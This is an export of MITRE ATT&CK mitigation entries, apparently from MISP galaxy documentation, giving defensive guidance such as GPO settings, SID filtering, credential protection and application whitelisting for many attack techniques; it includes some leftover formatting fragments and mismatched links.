Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)

## Custom Cryptographic Protocol Mitigation - T1024

Network intrusion detection and prevention systems that use network signatures to identify traffic

for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

## Pass the Hash Mitigation - T1075

Monitor systems and domain logs for unusual credential logon activity. Prevent access to [Valid Accounts](<https://attack.mitre.org/techniques/T1078>). Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group.

Enable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy` Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)

Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.

## NTFS File Attributes Mitigation - T1096

It may be difficult or inadvisable to block access to EA and ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Symantec ADS May 2009) Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA and ADSs by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Consider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. (Citation: InsiderThreat NTFS EA Oct 2017)

## Pass the Ticket Mitigation - T1097

Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)

For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection)

Attempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. ## Browser Bookmark Discovery Mitigation - T1217

File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. For example, mitigating accesses to browser bookmark files will likely have unintended side effects such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

*Table 2610. Table References*

Links

<https://attack.mitre.org/mitigations/T1219>

## External Remote Services Mitigation - T1133

Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls. Disable or block remotely available services such as [Windows Remote Management](<https://attack.mitre.org/techniques/T1028>). Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [Two-Factor Authentication Interception](<https://attack.mitre.org/techniques/T1111>) techniques for some two-factor authentication implementations.

*Table 2611. Table References*

Links

<https://attack.mitre.org/mitigations/T1133>

## Access Token Manipulation Mitigation - T1134

Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.

Any user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of [Valid Accounts](<https://attack.mitre.org/techniques/T1078>). Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token)

Also limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.

The tag is: *misp-galaxy:mitre-course-of-action="Access Token Manipulation Mitigation - T1134"*

Access Token Manipulation Mitigation - T1134 has relationships with:

## Office Application Startup Mitigation - T1137

Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing. Even setting to disable with notification could enable unsuspecting users to execute potentially malicious macros. (Citation: TechNet Office Macro Security)

For the Office Test method, create the Registry key used to execute it and set the permissions to "Read Control" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation. (Citation: Palo Alto Office Test Sofacy)

Disable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins)

For the Outlook methods, blocking macros may be ineffective as the Visual Basic engine used for these features is separate from the macro scripting engine.(Citation: SensePost Outlook Forms) Microsoft has released patches to try to address each issue. Ensure KB3191938 which blocks Outlook Visual Basic and displays a malicious code warning, KB4011091 which disables custom forms by default, and KB4011162 which removes the legacy Home Page feature, are applied to systems.(Citation: SensePost Outlook Home Page)

## Spearphishing via Service Mitigation - T1194

Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.

Because this technique involves use of legitimate services and user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify

social engineering techniques and spearphishing emails with malicious links. To prevent the downloads from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.

The tag is: *misp-galaxy:mitre-course-of-action="Spearphishing via Service Mitigation - T1194"*

Spearphishing via Service Mitigation - T1194 has relationships with:

## Supply Chain Compromise Mitigation - T1195

Apply supply chain risk management (SCRM) practices and procedures (Citation: MITRE SE Guide 2014), such as supply chain analysis and appropriate risk management, throughout the life-cycle of a system.

Leverage established software development lifecycle (SDLC) practices (Citation: NIST Supply Chain 2012):

- Uniquely Identify Supply Chain Elements, Processes, and Actors
- Limit Access and Exposure within the Supply Chain
- Establish and Maintain the Provenance of Elements, Processes, Tools, and Data
- Share Information within Strict Limits
- Perform SCRM Awareness and Training
- Use Defensive Design for Systems, Elements, and Processes
- Perform Continuous Integrator Review
- Strengthen Delivery Mechanisms
- Assure Sustainment Activities and Processes
- Manage Disposal and Final Disposition Activities throughout the System or Element Life Cycle

A patch management process should be implemented to check unused dependencies, unmaintained and/or previously vulnerable dependencies, unnecessary features, components, files, and documentation. Continuous monitoring of vulnerability sources and the use of automatic and manual code review tools should also be implemented as well. (Citation: OWASP Top 10 2017)

Links
<a href="https://attack.mitre.org/techniques/T1168">https://attack.mitre.org/techniques/T1168</a>

## Control Panel Items Mitigation - T1196

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API

calls and/or execution of particular file extensions will likely have unintended side effects, such as preventing legitimate software (i.e., drivers and configuration tools) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.

Restrict storage and execution of Control Panel items to protected directories, such as `C:\Windows`, rather than user directories.

Index known safe Control Panel items and block potentially malicious software using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executable files.

Consider fully enabling User Account Control (UAC) to impede system-wide changes from illegitimate administrators. (Citation: Microsoft UAC)

The tag is: *misp-galaxy:mitre-course-of-action="Control Panel Items Mitigation - T1196"*

Control Panel Items Mitigation - T1196 has relationships with:

## Domain Generation Algorithms Mitigation - T1483

This technique may be difficult to mitigate since the domains can be registered just before they are used, and disposed shortly after. Malware researchers can reverse-engineer malware variants that use DGAs and determine future domains that the malware will attempt to contact, but this is a time and resource intensive effort.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA Brute Force) Malware is also increasingly incorporating seed values that can be unique for each instance, which would then need to be determined to extract future generated domains. In some cases, the seed that a particular sample uses can be extracted from DNS traffic.(Citation: Akamai DGA Mitigation) Even so, there can be thousands of possible domains generated per day; this makes it impractical for defenders to preemptively register all possible C2 domains due to the cost. In some cases a local DNS sinkhole may be used to help prevent DGA-based command and control at a reduced cost.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

## Third-party Software Mitigation - T1072

Evaluate the security of third-party software that could be used in the enterprise environment. Ensure that access to management systems for third-party systems is limited, monitored, and secure. Have a strict approval policy for use of third-party systems.

Grant access to Third-party systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multi-factor authentication. Verify that account credentials that may be used to access third-party systems are unique and not used throughout the enterprise network. Ensure that any accounts used by third-party providers to access these systems are traceable to the third-party and are not used throughout the network or used by other third-party providers in the same environment. Ensure third-party systems are regularly patched by users or the provider to prevent potential remote access through [Exploitation for Privilege Escalation](<https://attack.mitre.org/techniques/T1068>).

Ensure there are regular reviews of accounts provisioned to these systems to verify continued business need, and ensure there is governance to trace de-provisioning of access that is no longer required.

Where the third-party system is used for deployment services, ensure that it can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the third-party system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.

## SID-History Injection Mitigation - T1178

Clean up SID-History attributes after legitimate account migration is complete.

Consider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e. preventing the trusted domain from claiming a user has membership in groups outside of the domain).

SID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.

SID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)

- Disabling SIDHistory on forest trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /EnableSIDHistory:no</code> on the domain controller).
- Applying SID Filter Quarantining to external trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine:yes</code> on the

domain controller) Applying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust.

## Drive-by Compromise Mitigation - T1189

Drive-by compromise relies on there being a vulnerable piece of software on the client end systems. Use modern browsers with security features turned on. Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique.

For malicious code served up through ads, adblockers can help prevent that code from executing in

the first place. Script blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.

Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Other types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.

## Virtualization/Sandbox Evasion Mitigation - T1497

Mitigation of this technique with preventative controls may impact the adversary's decision process depending on what they're looking for, how they use the information, and what their objectives are. Since it may be difficult to mitigate all aspects of information that could be gathered, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.

The tag is: *misp-galaxy:mitre-course-of-action="Virtualization/Sandbox Evasion Mitigation - T1497"*

Virtualization/Sandbox Evasion Mitigation - T1497 has relationships with:

## Data Obfuscation Mitigation - T1001

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

## Credential Dumping Mitigation - T1003

### Windows

Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using [Valid Accounts](<https://attack.mitre.org/techniques/T1078>) if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration

of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)

On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)

Identify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)

Manage the access control list for “Replicating Directory Changes” and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)

Consider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)

## Linux

Scraping the passwords from memory requires root privileges. Follow best practices in restricting access to escalated privileges to avoid hostile programs from accessing such sensitive regions of memory.

## Fallback Channels Mitigation - T1008

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

## Encrypt Network Traffic - M1009

Application developers should encrypt all of their application network traffic using the Transport Layer Security (TLS) protocol to ensure protection of sensitive data and deter network-based attacks. If desired, application developers could perform message-based encryption of data before passing it for TLS encryption.

iOS's App Transport Security feature can be used to help ensure that all application network traffic is appropriately protected. Apple intends to mandate use of App Transport Security (Citation: TechCrunch-ATS) for all apps in the Apple App Store unless appropriate justification is given.

Android's Network Security Configuration feature similarly can be used by app developers to help ensure that all of their application network traffic is appropriately protected (Citation: Android-NetworkSecurityConfig).

Use of Virtual Private Network (VPN) tunnels, e.g. using the IPsec protocol, can help mitigate some types of network attacks as well.

## Brute Force Mitigation - T1110

Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Too strict a policy can create a denial of service condition and render environments un-usable, with all accounts being locked-out permanently. Use multifactor authentication. Follow best practices for mitigating access to [Valid Accounts](<https://attack.mitre.org/techniques/T1078>)

Refer to NIST guidelines when creating passwords.(Citation: NIST 800-63-3)

Where possible, also enable multi factor authentication on external facing services.

## Systemd Service Mitigation - T1501

The creation and modification of systemd service unit files is generally reserved for administrators such as the Linux root user and other users with superuser privileges. Limit user access to system utilities such as systemctl to only users who have a legitimate need. Restrict read/write access to systemd unit files to only select privileged users who have a legitimate need to manage system services. Additionally, the installation of software commonly adds and changes systemd service unit files. Restrict software installation to trusted repositories only and be cautious of orphaned software packages. Utilize malicious code protection and application whitelisting to mitigate the ability of malware to create or modify systemd services.

The tag is: *misp-galaxy:mitre-course-of-action="Systemd Service Mitigation - T1501"*

## Shared Webroot Mitigation - T1051

Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.

Ensure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems. (Citation: acunetix Server Security) (Citation: NIST Server Security July 2008)

## Redundant Access Mitigation - T1108

Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

## User Execution Mitigation - T1204

Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events. Application whitelisting may be able to prevent the running of executables masquerading as other files.

If a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .lnk, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and RAR that may be used to conceal malicious files in [Obfuscated Files or Information](<https://attack.mitre.org/techniques/T1027>).

If a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct files in a way to avoid these systems.

The tag is: *misp-galaxy:mitre-course-of-action="User Execution Mitigation - T1204"*

User Execution Mitigation - T1204 has relationships with:

## Multiband Communication Mitigation - T1026

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

## Path Interception Mitigation - T1034

Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.

Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations (Citation: Kanthak Sentinel).

Require that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory `C:` and system directories, such as `C:\Windows\`, to reduce places where malicious files could be placed for execution.

Identify and block potentially malicious software that may be executed through the path interception by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies, (Citation: Corio 2008) that are capable of auditing and/or blocking unknown executables.

The tag is: *misp-galaxy:mitre-course-of-action="Path Interception Mitigation - T1034"*

Path Interception Mitigation - T1034 has relationships with:

## Scheduled Task Mitigation - T1053

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)

Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl`. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)

Configure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)

Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

## Process Hollowing Mitigation - T1093

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

## Data Staged Mitigation - T1074

Identify system utilities, remote access or third-party tools, users or potentially malicious software that may be used to store compressed or encrypted data in a publicly writeable directory, central location, or commonly used staging directories (e.g. recycle bin) that is indicative of non-standard behavior, and audit and/or block them by using file integrity monitoring tools where appropriate. Consider applying data size limits or blocking file writes of common compression and encryption utilities such as 7zip, RAR, ZIP, or zlib on frequently used staging directories or central locations and monitor attempted violations of those restrictions.

The tag is: *misp-galaxy:mitre-course-of-action="Data Staged Mitigation - T1074"*

Data Staged Mitigation - T1074 has relationships with:

Links
<a href="https://attack.mitre.org/mitigations/M1055">https://attack.mitre.org/mitigations/M1055</a>

## Process Injection Mitigation - T1055

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: GDSecurity Linux injection)

Identify or block potentially malicious software that may contain process injection functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Utilize Yama (Citation: Linux kernel Yama) to mitigate ptrace based process injection by restricting the use of ptrace to privileged users only. Other mitigation controls involve the deployment of security kernel modules that provide advanced access control and process restrictions such as SELinux (Citation: SELinux official), grsecurity (Citation: grsecurity official), and AppArmor (Citation: AppArmor official).

The tag is: *misp-galaxy:mitre-course-of-action="Process Injection Mitigation - T1055"*

Process Injection Mitigation - T1055 has relationships with:

- mitigates: *misp-galaxy:mitre-attack-pattern="Process Injection - T1055"* with *estimative-language:likelihood-probability="almost-certain"*

## Valid Accounts Mitigation - T1078

Take measures to detect or prevent techniques such as [Credential Dumping](<https://attack.mitre.org/techniques/T1003>) or installation of keyloggers to acquire credentials through [Input Capture](<https://attack.mitre.org/techniques/T1056>). Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems.

Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)

Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized.

Applications and appliances that utilize default username and password should be changed immediately after the installation, and before deployment to a production environment. (Citation: US-CERT Alert TA13-175A Risks of Default Passwords on the Internet) When possible, applications that use SSH keys should be updated periodically and properly secured.

## Multilayer Encryption Mitigation - T1079

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)

## Email Collection Mitigation - T1114

Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.

Use of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.

Identify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

## Automated Collection Mitigation - T1119

Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through [Input Capture](<https://attack.mitre.org/techniques/T1056>) and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through [Brute Force](<https://attack.mitre.org/techniques/T1110>) techniques.

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. ## Template Injection Mitigation - T1221

Consider disabling Microsoft Office macros/active content to prevent the execution of malicious payloads in documents (Citation: Microsoft Disable Macros), though this setting may not mitigate the [Forced Authentication](<https://attack.mitre.org/techniques/T1187>) use for this technique.

Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations including training users to identify social engineering techniques and spearphishing emails. Network/Host intrusion prevention systems, antivirus, and detonation chambers can be employed to prevent documents from fetching and/or executing malicious payloads. (Citation: Anomali Template Injection MAR 2018)

## Data Encoding Mitigation - T1132

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

Links
<a href="https://attack.mitre.org/mitigations/T1143">https://attack.mitre.org/mitigations/T1143</a>

## Create Account Mitigation - T1136

Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to [Valid Accounts](<https://attack.mitre.org/techniques/T1078>) that may be used to create privileged accounts within an environment.

Adversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.

Protect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.

The tag is: *misp-galaxy:mitre-course-of-action="Create Account Mitigation - T1136"*

Create Account Mitigation - T1136 has relationships with:

- mitigates: *misp-galaxy:mitre-attack-pattern="Create Account - T1136"* with estimative-language:likelihood-probability="almost-certain"

<a href="https://attack.mitre.org/mitigations/T1136">https://attack.mitre.org/mitigations/T1136</a>

## Application Shimming Mitigation - T1138

There currently aren't a lot of ways to mitigate application shimming. Disabling the Shim Engine isn't recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the "auto-elevate" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC.

Changing UAC settings to "Always Notify" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.

The tag is: *misp-galaxy:mitre-course-of-action="Application Shimming Mitigation - T1138"*

Application Shimming Mitigation - T1138 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Application Shimming - T1138" with estimative-language:likelihood-probability="almost-certain"

*Table 2733. Table References*

Links
<a href="https://attack.mitre.org/mitigations/T1138">https://attack.mitre.org/mitigations/T1138</a>

## Spearphishing Attachment Mitigation - T1193

Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.

